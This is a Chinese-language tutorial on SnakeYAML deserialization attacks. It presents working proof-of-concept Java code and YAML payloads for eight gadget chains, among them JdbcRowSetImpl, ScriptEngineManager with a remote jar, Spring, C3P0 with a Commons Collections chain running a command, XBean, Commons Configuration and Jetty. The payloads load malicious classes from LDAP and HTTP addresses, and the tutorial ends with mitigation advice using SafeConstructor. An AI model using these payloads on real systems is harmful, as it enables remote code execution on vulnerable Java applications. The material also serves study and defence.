可以看到 snakeyaml 反序列化的关键触发点就是无参构造方法非公有属性的 setter 方法,另外前面在类加载的时候还会触发静态代码块(这个倒是没见过有什么用法)。但其实也可以调用有参构造,这个在后面会讲到。其实还会调用 hashCode() ,后面也会讲到。

四、漏洞利用与分析

理解原理以后,再看它的利用方式,很快就能理解了。

0x1:JdbcRowSetImpl

这个类之前在学习 FastJson 的时候也遇到过,是由于它的 setter 方法(setAutoCommit)会调用 lookup 造成 JNDI 注入,下面是测试代码:

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import org.yaml.snakeyaml.Yaml;

public class PocTest1 {
public static void main(String[] args) {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:8085/kjMXKPAB, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

原理:

1
2
3
JdbcRowSetImpl#setAutoCommit(boolean)
JdbcRowSetImpl#connect()
InitialContext#lookup(String)

0x2:ScriptEngineManager

yaml 反序列化时可以通过 !! + 全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造 ScriptEngineManager payload 并利用 SPI 机制通过 URLClassLoader 或者其他 payload 如 JNDI 方式远程加载实例化恶意类从而实现任意代码执行。

1、SnakeYaml 调用有参构造

该 gadget 的触发点在于 ScriptEngineManager 的有参构造方法 ScriptEngineManager(ClassLoader),而我们前面讲的是调用无参构造方法,这里不得不引出 SnakeYaml 的另一个机制了:我们可以通过调整序列化数据,用数组的形式(就是中括号)指定要调用的构造方法的参数类型,比如有以下数据:

1
!!org.yaml.snakeyaml.immutable.Point [1.17, 3.14]

这样表示指定调用 org.yaml.snakeyaml.immutable.Point 的两参构造方法 Point(double latitude, double longitude) ,并且指定两个参数分别为 1.17 和 3.14 。

本题的 poc 格式如下:

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8085/kjMXKPAB.jar\"]]]]

就表示调用 ScriptEngineManager 的有参构造方法,且参数为 URLClassLoader 。然后实例化这个 URLClassLoader 的时候也是调用有参构造,指定参数为 URL 类型。然后实例化这个 URL 的时候也是调用有参构造,参数是我们设定的 String 。

在前面的调用链总结中,我们是跟进 Constructor$ConstructMapping#construct(Node) ​去调用的无参构造,而反序列化的数据是这种数组的形式时,则会调用 Constructor$ConstructSequence#construct(Node)​ 来调用对应参数的有参构造:

ConstructSequence 内部类用来处理序列格式(如数组)相关的构造。

2、什么是 SPI 机制

SPI (Service Provider Interface),JDK 内置的一种服务提供发现机制。它的利用方式是通过在 ClassPath 路径下的 META-INF/services 文件夹下查找文件,自动加载文件中所定义的类。

例如以 mysql-connector 包为例:

Dirver 类中的内容是:

这个 Driver 类实现了 java.sql.Driver 接口,这段代码主要是将当前类的实例注册为 MySQL 数据库的驱动程序,实现了一个 MySQL 数据库的 Java 驱动程序。

这个方法会在 JVM 启动时执行,从而确保了该驱动程序在应用程序启动时已经被注册。当应用程序需要连接 MySQL 数据库时,可以通过 DriverManager 类的 getConnection()方法获取 com.mysql.cj.jdbc.Driver 类的实例,进而建立 MySQL 数据库连接。

ScriptEngineManager gadget 就是用到 SPI 机制,会通过远程地址寻找 META-INF/services 目录下的 javax.script.ScriptEngineFactory 然后去加载文件中指定的 PoC 类从而触发远程代码执行。

3、漏洞复现

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.yaml.snakeyaml.Yaml;

public class POC2 {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

利用 ScriptEngineManager ,我们去远程地址获取一个 jar 文件,jar 文件的 META-INF/services 目录下写好了要被加载的恶意类。为了生成这个 jar 文件,我们可以创建这样一个项目。

第一步,在 META-INF/services/javax.script.ScriptEngineFactory 文件中定义要被加载的类名:

第二步,创建对应类 TestPoc 并实现 ScriptEngineFactory 接口,构造方法里命令执行:

第三步,编译目标类:

1
javac src/main/java/miaoji/TestPoc.java 

第四步,将该项目打成 jar 包:

1
jar -cvf yaml-payload.jar -C src/main/java/ . 

对应目录下开一个 http 服务器,就可以开始测试了:

4、原理分析

实际就是 SPI 机制的原理:

1
2
3
4
5
6
7
8
ScriptEngineManager#ScriptEngineManager(ClassLoader)
ScriptEngineManager#init(final ClassLoader)
ScriptEngineManager#initEngines(final ClassLoader)
-> ScriptEngineManager#getServiceLoader(final ClassLoader)
ServiceLoader<S>#load(Class<S>, ClassLoader) # 获取远程 jar 包
-> ServiceLoader<S>#iterator()#next() # 嵌套方法的调用
ServiceLoader<S>$LazyIterator#next()
ServiceLoader<S>$LazyIterator#nextService() # 类加载,根据 SPI 机制

0x3:Spring PropertyPathFactoryBean

这个链子触发点在 setter 方法 setBeanFactory ,需要有 Spring 依赖。

依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.30</version>
</dependency>

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.yaml.snakeyaml.Yaml;

public class POC3 {
public static void main(String[] args){
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://127.0.0.1:8085/AColGQWe\"\n" +
" propertyPath: test\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://127.0.0.1:8085/AColGQWe\"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

原理:

1
2
3
4
5
6
7
8
9
10
PropertyPathFactoryBean#setBeanFactory(BeanFactory)
SimpleJndiBeanFactory#getBean(String)
SimpleJndiBeanFactory#getBean(String, Class<T>)
SimpleJndiBeanFactory#doGetSingleton(String, Class<T>)
JndiLocatorSupport#lookup(String, Class<T>)
JndiTemplate#lookup(String, Class<T>)
JndiTemplate#lookup(final String)
JndiTemplate#execute(JndiCallback<T>)
JndiTemplate$1#doInContext(Context)
InitialContext#lookup(String) # JNDI 注入

0x4:C3P0 WrapperConnectionPoolDataSource

这条链子的触发点是构造方法 WrapperConnectionPoolDataSource() 。

思路类似于 Fastjson 通过 C3P0 二次反序列化,需要用到 C3P0.WrapperConnectionPoolDataSource 通过 Hex 序列化字节加载器,给 userOverridesAsString 赋值恶意序列化内容(本地 Gadget)的 Hex 编码值达成利用。

依赖:

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

poc(由于是二次反序列化,所以还要搭配其他的反序列化利用链,poc 中给的是 CC6 链):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.yaml.snakeyaml.Yaml;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC4 {


public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap1 = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Atkx");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "bbb");
lazyMap.remove("Atkx");


Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return hashMap2;
}


static void addHexAscii(byte b, StringWriter sw) {
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h) {
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
// System.err.println(h + ": " + out);
return out;
}

// 将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

// 字节数组转十六进制
public static String toHexAscii(byte[] bytes) {
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:"+ hex + ";\"";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

原理:

1
2
3
4
5
6
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource()
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource(boolean)
C3P0ImplUtils#parseUserOverridesAsString(String)
-> ByteUtils#fromHexAscii(String var0) # 十六进制数据解码为字节数组
-> SerializableUtils#fromByteArray(byte[])
SerializableUtils#deserializeFromByteArray(byte[]) # 反序列化字节数组

0x5:C3P0 JndiRefForwardingDataSource

这条链子的触发点在 setter 方法 setLoginTimeout ,用到 c3p0 依赖中的另一个类 JndiRefForwardingDataSource 。

poc:

1
2
3
4
5
6
7
8
9
10
11
import org.yaml.snakeyaml.Yaml;

public class POC5 {
public static void main(String[] args) {
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"ldap://127.0.0.1:8085/NQszrbCS\"\n" +
" loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

原理:

1
2
3
4
JndiRefForwardingDataSource#setLoginTimeout(int)
JndiRefForwardingDataSource#inner()
JndiRefForwardingDataSource#dereference()
InitialContext#lookup(String) # JNDI 注入

0x6:Apache XBean

这条链的触发点在构造方法 BadAttributeValueExpException(Object) 。

前面我们说 BadAttributeValueExpException 利用链的时候,是从 readObject 方法入手去调用 toString ,并特意提到要避开其构造方法,因为构造方法会提前调用 toString ,在这里却用上了:

链子的后半段利用 ContextUtil$ReadOnlyBinding#getObject() 触发远程类加载,在讲 Hessian 利用链的时候已经提过。

需要 xbean 依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.26</version>
</dependency>

poc(Reference 的第二个参数为恶意 class 文件名):

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class POC6 {
public static void main(String[] args) throws Error ,Exception{
String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"NQszrbCS\", \"http://127.0.0.1:8085/\"],!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

原理:

1
2
3
4
5
6
7
8
9
BadAttributeValueExpException#BadAttributeValueExpException(Object)
Binding#toString()
ContextUtil$ReadOnlyBinding#getObject()
ContextUtil#resolve(Object, String, Name, Context)
NamingManager#getObjectInstance(Object, Name, Context, Hashtable<?,?>)
NamingManager#getObjectFactoryFromReference(Reference, String)
VersionHelper12#loadClass(String, String)
VersionHelper12#loadClass(String, ClassLoader)
Class#forName(String, boolean, ClassLoader)

Class.forName 的第二个参数设置为 true ,会经过初始化阶段,执行静态代码块:

既然这里能够调用 toString() 方法,那么后面拼接一些其他的链子诸如 Rome 、Resin ,想必也是可行。

0x7:Apache Commons Configuration

这条链子很有意思,它是以 hashCode() 为触发点。我前面并没有介绍为什么会触发 hashCode() ,看来有漏网之鱼。

1、漏洞复现

依赖:

1
2
3
4
5
<dependency>  
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>

poc:

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class POC7 {
public static void main(String[] args) {
String poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:8085/NQszrbCS\"]]: 1";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

2、漏洞原理

以 ConfigurationMap 的父类 AbstractMap 的 hashcode 方法为触发点,通过迭代器 Iterator 调用了 getKeys() ,JNDIConfiguration 的 getKeys() 又恰好能造成 JNDI 注入:

1
2
3
4
5
6
7
AbstractMap<K,V>#hashCode()
ConfigurationMap$ConfigurationSet#Iterator<Map.Entry<Object, Object>>
ConfigurationMap$ConfigurationSet$ConfigurationSetIterator#ConfigurationSetIterator()
JNDIConfiguration#getKeys()
JNDIConfiguration#getKeys(String)
JNDIConfiguration#getBaseContext()
InitialContext#lookup(String) # JNDI 注入

3、SnakeYaml 调用 hashCode()

下面我们来看一下 SnakeYaml 如何调用 hashCode() ,补全前面的反序列化逻辑。

在原来的总结之上,通过调用堆栈,我们很容易就判断出了这一分支是在 BaseConstructor#getConstructor(Node) 获取构造器的时候出现的,依照原路径,此处应该返回 Constructor$ConstructYamlObject​ ,而根据调用栈来看,实际返回 SafeConstructor$ConstructYamlMap​ 。

我们重新来关注一下 BaseConstructor#getConstructor(Node) 这个方法:

这一次根据 Tag 来获取构造方法的结果不再是 null ,而是一个 SafeConstructor$ConstructYamlMap​ 对象:

我们势必要跟进 yamlConstructors.get(node.getTag()) 来看一眼了,跟进来发现直接来到了 HashMap#get(Object):

我倒是忘了它本来就是个 Map 集合,找赋值的地方才是关键。赋值的地方就在这 SafeConstructor 的构造方法之中:

SafeConstructor 则是早在 Yaml 初始化的的时候就初始化了:

这样的话就很容易明白了,由于我们反序列化的类是一个 Map 集合 ConfigurationMap ,被打上了 Tag.MAP 的标签,故而这里获取到的是 SafeConstructor 的内部类 ConstructYamlMap 作为构造器:

并且可以由此推之,其余各类型的子类比如 Sequence、Set 等在构造时都会将 SafeConstructor 中的其他内部类作为构造器,这其中又会触发哪些方法呢?可以期待一下,未来也许会有新发现。

接着往下看,开始构造,来跟进 SafeConstructor$ConstructYamlMap#construct(Node) :

跟进 BaseConstructor#constructMapping(MappingNode) :

继续跟进 SafeConstructor#constructMapping2ndStep(MappingNode, Map<Object, Object>):

继续跟进 SafeConstructor#flattenMapping(MappingNode node):

继续跟进 SafeConstructor#processDuplicateKeys(MappingNode) ,在这里调用了 key.hashCode() :

其实根据方法名就能知道:处理重复的 key ,创建 Map 对象的时候总要遇到这个问题,为了判断 key 值是否重复,总是会调用 key.hashCode() 获取 hash 值来判断。

那么总结一下调用链,承接上文,SnakeYaml 是如何调用 hashCode():

1
2
3
4
5
6
7
BaseConstructor#constructObjectNoCheck(Node)
-> BaseConstructor#getConstructor(Node) # 获取构造器 SafeConstructor$ConstructYamlMap
-> SafeConstructor$ConstructYamlMap#construct(Node)
BaseConstructor#constructMapping(MappingNode)
SafeConstructor#constructMapping2ndStep(MappingNode, Map<Object, Object>)
SafeConstructor#flattenMapping(MappingNode node)
SafeConstructor#processDuplicateKeys(MappingNode) # 调用 key.hashCode()

0x8:Jetty Resource

这条链子的触发点在有参构造 Resource(String, Object) ,后续是 Jetty 自带的 JNDI 功能。

需要 Jetty 依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<properties>
<!-- 指定 Jetty 版本 -->
<jetty.version>9.4.50.v20221201</jetty.version>
</properties>

<dependencies>
<!-- jetty-plus 包含了 org.eclipse.jetty.plus.jndi.Resource -->
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-plus</artifactId>
<version>${jetty.version}</version>
</dependency>

<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-jndi</artifactId>
<version>${jetty.version}</version>
</dependency>

<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>${jetty.version}</version>
</dependency>
</dependencies>

poc(Reference 的第二个参数为恶意 class 文件名):

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class POC8 {
public static void main(String[] args) {
String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"uopUboUX\", \"http://127.0.0.1:8085/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

原理:

1
2
3
4
5
6
7
8
9
10
Resource#Resource(String, Object)
NamingEntry#save(Object)
NamingUtil#bind(Context, String, Object)
NamingContext#lookup(String)
NamingContext#lookup(Name)
NamingManager#getObjectInstance(Object, Name, Context, Hashtable<?,?>)
NamingManager#getObjectFactoryFromReference(Reference, String)
VersionHelper12#loadClass(String, String)
VersionHelper12#loadClass(String, ClassLoader)
Class#forName(String, boolean, ClassLoader) # 第二个参数设置为 true ,会经过初始化阶段,执行静态代码块

五、漏洞修复

  • 禁止 yaml.load 方法中的参数可控
  • 使用 Yaml yaml = new Yaml(new SafeConstructor());

下面我来说一下为什么使用 new Yaml(new SafeConstructor()) 可以防止一些问题

在前面讲 SnakeYaml 调用 hashCode() 的时候,我们已经见过 SafeConstructor 的构造方法,它会将 yamlConstructors 中 null 键对应的值设置为 undefinedConstructor :

这个 undefinedConstructor 的构造方法实际就是直接抛出异常:

前面其实已经发现 SafeConstructor 的构造方法在 new Yaml() 这种普通模式下就会被调用,只不过这种模式下 yamlConstructors 中 null 键对应的值又被 Constructor 类给覆盖了一次,覆盖成了 Constructor$ConstructYamlObject:

所以我们前面取 null 值的时候才能继续往下构造。

然而当我们使用 new Yaml(new SafeConstructor()) 的时候,不会再经过 Constructor 的构造方法,而是直接进入 SafeConstructor ,这样 null 就没有机会被覆盖了。那么如果 node 节点树没有对应的 Tag ,就不会被构造。

对比一下,使用 new Yaml() :

使用 new Yaml(new SafeConstructor()) :

那想要绕过的话,我们利用链中的类一定要在那几个 Tag 类型之下,这时候应该能联想到 ConfigurationMap 那条链子,他是属于 Tag.MAP 类型,能够顺利地进入 SafeConstructor$ConstructYamlMap 的构造方法。但是也不行,为什么呢,因为它会对每个 key 都构造一次,递归式的,这样 key 过不了关,也没法触发 hashcode:

当然这只是一种思路。

六、结语

许多攻防技巧到最后都演变成了对黑白名单的绕过,比如这里就相当于是给出了一种白名单。

一个项目总是有着庞大的代码量,从入口点开始剖析,它就越来越像一棵树,有着无数分支,我们分析的这些链子也不过是其中的某一个。我在分析的时候想当然地以为就从无参构造方法和非公有属性的 setter 方法入手即可,这就使我漏掉了有参构造和 hashcode 。

进一步而言,我们可能漏掉了更多,以至于给了我一种莫名其妙的自信:只要反序列化接口存在,我们就一定能找到一条合适的利用链。

再进一步而言,普通的反序列化也不过是调用 readObject ,那在调用这个方法之前呢?之后呢?这条路径上所调用的任意的方法都可能成为利用点,只因为它对我们输入的数据做了处理。snakeyaml 同样也不会拘泥于构造方法和 setter 方法。

不过要想穷尽每一个分支,这需要庞大的算力,有没有一种在下围棋的感觉?

七、参考文章

1
2
3
4
5
https://www.cnblogs.com/LittleHann/p/17828948.html#_label3
https://cmisl.github.io/2024/07/14/SnakeYaml%20%E9%93%BE/#%E5%BA%8F%E5%88%97%E5%8C%96
https://tttang.com/archive/1591/
https://tttang.com/archive/1815/#toc_resource
https://www.cnblogs.com/F12-blog/p/18151239